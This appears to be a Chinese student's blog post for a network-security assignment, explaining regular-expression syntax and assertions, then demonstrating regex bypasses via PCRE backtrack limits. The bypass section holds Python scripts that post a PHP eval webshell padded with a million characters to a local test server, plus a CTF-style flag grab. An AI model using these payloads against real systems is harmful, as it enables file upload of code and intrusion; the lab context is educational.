当前位置:网站首页>网络安全第四次作业
网络安全第四次作业
2022-08-02 13:48:00 【戊戌怀夏】
一、正则表达式限制案例
创建用户名(包括数字、大写字母、小写字母、特殊符号,长度在8-16位)
成功
长度超过16位
长度小于8位
二、正则表达式知识点
1.字符类
. 匹配除了换行符(\n)以外的任意一个字符
\w 任意一个字母或数字或下划线,也就是 A~Z,a~z,0~9,_ 中任意一个
\d 任意一个数字,0~9 中的任意一个
\s 包括空格、制表符、换页符等空白字符的其中任意一个
\W\D\S 非字母, 数字, 空白字符
[abc] 匹配a、 b、或c中的任何一个
[^abc] 匹配 a、b和c之外的任何一个
[a-g] a-g间的任意一个字符
2.锚
^abc$ 字符串的开头/结尾
\b \B 单词边界、非单词的边界
转义字符
\. \* \\ 转义特殊字符
\t\n\r 制表符, LF换行符, CR换行符
3. 分组 & 前瞻后顾
(abc) 捕获分组
\1 反向引用#1
(?:abc) 不捕获分组
(?=abc) 正向前瞻
(?!abc) 负向前瞻
4.量词 & 分支
a* a+ a? 0个或更多,1个或更多,0个或1个
a{
5} a{
2,} 刚好5个,2个或以上
a{
1,3} 1~3个
a+? a{
2,}? 贪婪匹配(仅可能少匹配)
ab|cd 配 ab 或 cd
\b 匹配单词边界
(?=abc)正向先行断言,表示主表达式后面必须包含abc,且该组不会出现在结果中,如果一个正则中包含多个断言,则没有先后顺序
如:提取包含至少一个大小写字母的字符串:
正则表达式:/(?=.*?[A-Z])(?=.*?[a-z]).+/g和正则表达式/(?=.*?[a-z])(?=.*?[A-Z]).+/g都可以
注意:零宽断言只匹配位置,没有改变位置。
如:密码强度验证:
至少一个大写字母
至少一个小写字母
至少一个数字
至少8个字符
正则表达式为:/(?=.*\d)(?=.*[a-z])(?=.*[A-Z]).{
8,}/ 中间的.*不可少,如果改为/(?=\d)(?=[a-z])(?=[A-Z]).{
8,}/则不正确,因为无法找到一个位置同时满足三个断言,前一个断言,匹配到的位置为0
(?<=abc)正向后行断言
先行断言和后行断言只有一个区别,即先行断言从左往右看,后行断言从右往左看。即一个先行断言是后面有什么,后行断言就是前面有什么。
匹配名字中含王,但不在最后一个字同学的名字 /(?<=王).+?/
(?!abc) 反向先行断言
正则表达式匹配不是qq邮箱的数据 /@(?!qq)/
编写正则表达式匹配除<p>或</p>之外的所有标签。 正则表达式应该是/<(?!p|\/p).*>/不能是/(?!<p>|<\/p>)/如果这么写
<p></p>或<p>code</p>都能匹配上,匹配的位置是1,及<这个字符
(?<!abc)正反向后行断言
三、正则表达式的绕过案例
回溯1
<?php
$input = $_POST['file'];
// var_dump(ini_get('pcre.backtrack_limit'));
if(!is_php($input)) {
$file = fopen("test.php","w");
fwrite($file, $input);
}
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
使用python写脚本,利用正则表达式的回溯具有1000000次的限制
import requests
files = {
'file': 'aaa<?php eval($_POST[txt]);//' + 'a' * 1000000
}
res = requests.post('http://127.0.0.1/index.php', data=files)
即可绕过
回溯2
如果代码里对于greeting没有数组的判断,可利用strpos对于数组的判断漏洞直接取得flag
但是加了数组之后,就只能利用回溯进行绕过
import requests
datas = {
‘greeting’: 'Merry Christams' + 'a' *1000000
}
res = requests.post ('http://127.0.0.1/demo4.php', data=datas)
边栏推荐
- SQL函数 UPPER
- How to connect DBeaver TDengine?
- js数组递归使用
- 节省50%成本!京东云重磅发布新一代混合CDN产品
- C# 编译错误:Compiler Error CS1044
- 腾讯安全游戏行业研讨会:生态共建,护航游戏产业健康发展
- WPF效果第一百九十三篇之登录实现
- Oracle update error operation single table rollback
- Cannot determine loading status from target frame detached when selenium chrome driver is running
- static修饰的函数有什么特点(static可以修饰所有的变量吗)
猜你喜欢
基于华为eNSP的企业网络规划
【C语言】虐打循环结构练习题
stack && queue
巴比特 | 元宇宙每日必读:蒂芙尼宣布推出限量版 CryptoPunk 定制吊坠
攻防世界----unfinish
二进制中1的个数
Embedded system driver primary [2] - based on character device driver _ basic framework
Mysql index details (with pictures and texts)
永远退出机器学习界!
CVE-2020-27986 (Sonarqube sensitive information leak) vulnerability fix
随机推荐
k8s之KubeSphere部署有状态数据库中间件服务 mysql、redis、mongo
The uniapp/applet onload method executes the interpretation every time the page is opened
rust使用mysql插入数据
多个驻外使领馆发提醒 事关赴华出行、人身财产安全
This binding to detailed answers
Mysql索引详解(图文并茂)
【C语言】细品分支结构——switch语句
ttl电平与rs232电平转换电路(232电平定义)
WiFi Association & Omnipeek Packet Capture Analysis
好用的php空间,推荐国内三个优质的免费PHP空间[通俗易懂]
wx-wow(微信小程序动效库)
RestTemplate use: set request header, request body
Get out of the machine learning world forever!
为什么四个字节的float表示的范围比八个字节的long要广
暑假集训-week2图论
为什么IDEA连接mysql Unable to resolve table 编译报错但是可以运行
微信小程序如何实现支付功能?看官方文档头疼(使用云函数的方式操作)「建议收藏」
【C语言】明解数组(1)
Closures in JS
C language improvement (3)